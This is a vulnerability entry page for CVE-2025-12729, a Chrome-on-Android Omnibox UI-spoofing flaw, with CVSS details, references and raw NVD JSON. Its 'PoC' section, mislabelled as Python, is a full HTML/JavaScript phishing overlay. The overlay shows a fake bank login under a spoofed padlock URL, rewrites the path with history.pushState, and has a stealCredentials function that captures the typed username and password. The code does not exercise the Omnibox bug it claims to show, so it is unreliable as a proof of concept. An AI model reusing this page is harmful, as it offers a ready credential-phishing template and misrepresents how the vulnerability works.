CVE-2025-12729

Description

Inappropriate implementation in Omnibox in Google Chrome on Android prior to 142.0.7444.137 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Android < 142.0.7444.137

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12729 UI Spoofing PoC for Google Chrome on Android -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>UI Spoofing Test - CVE-2025-12729</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            padding: 20px;
            margin: 0;
        }
        .spoofed-content {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            justify-content: center;
            align-items: center;
            flex-direction: column;
            z-index: 9999;
        }
        .spoofed-content.show {
            display: flex;
        }
        .fake-url {
            font-size: 14px;
            margin-bottom: 20px;
            padding: 10px 20px;
            background: rgba(255,255,255,0.2);
            border-radius: 20px;
        }
        .fake-login {
            background: white;
            padding: 30px;
            border-radius: 10px;
            color: #333;
        }
        input {
            display: block;
            width: 250px;
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
        button {
            background: #4285f4;
            color: white;
            border: none;
            padding: 12px 30px;
            border-radius: 5px;
            cursor: pointer;
            margin-top: 10px;
        }
        .trigger-btn {
            background: #ea4335;
            color: white;
            border: none;
            padding: 15px 30px;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
        }
        .instructions {
            background: #f0f0f0;
            padding: 20px;
            border-radius: 10px;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>
    <div class="instructions">
        <h2>CVE-2025-12729 UI Spoofing Test</h2>
        <p>This PoC demonstrates UI spoofing in Chrome on Android Omnibox.</p>
        <p><strong>Note:</strong> This is for educational and security testing purposes only.</p>
        <button class="trigger-btn" onclick="triggerSpoof()">Trigger UI Spoofing</button>
    </div>

    <div class="spoofed-content" id="spoofedContent">
        <div class="fake-url">🔒 secure-bank.example.com</div>
        <div class="fake-login">
            <h3>Please Login to Your Account</h3>
            <input type="text" placeholder="Username" id="fakeUser">
            <input type="password" placeholder="Password" id="fakePass">
            <button onclick="stealCredentials()">Login</button>
        </div>
    </div>

    <script>
        function triggerSpoof() {
            // Manipulate browser history to change displayed URL
            const fakeUrl = 'https://secure-bank.example.com/login';
            history.pushState(null, '', '/account-summary');
            
            // Trigger touch gesture simulation
            document.body.style.transform = 'translateY(-60px)';
            
            // Show spoofed content overlay
            document.getElementById('spoofedContent').classList.add('show');
            
            // Log exploitation attempt (for testing purposes)
            console.log('[PoC] UI Spoofing triggered - CVE-2025-12729');
            console.log('[PoC] Fake URL displayed in Omnibox');
        }
        
        function stealCredentials() {
            const user = document.getElementById('fakeUser').value;
            const pass = document.getElementById('fakePass').value;
            
            // In real attack, these would be exfiltrated
            console.log('[PoC] Stolen credentials:', user, pass);
            alert('Credentials captured (PoC demonstration)');
        }
        
        // Detect if running on Android
        if (/Android/.test(navigator.userAgent)) {
            console.log('[PoC] Target platform: Android detected');
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12729
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12729
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12729/
[4] VulDB https://vuldb.com/cve/CVE-2025-12729
[5] https://chromereleases.googleblog.com/2025/11/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/454354281

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12729", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:40.080", "lastModified": "2025-11-14T17:26:03.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Omnibox in Google Chrome on Android prior to 142.0.7444.137 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.137", "matchCriteriaId": "282A7796-3A7D-4050-9B8D-1DF46E9669CA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/11/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/454354281", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}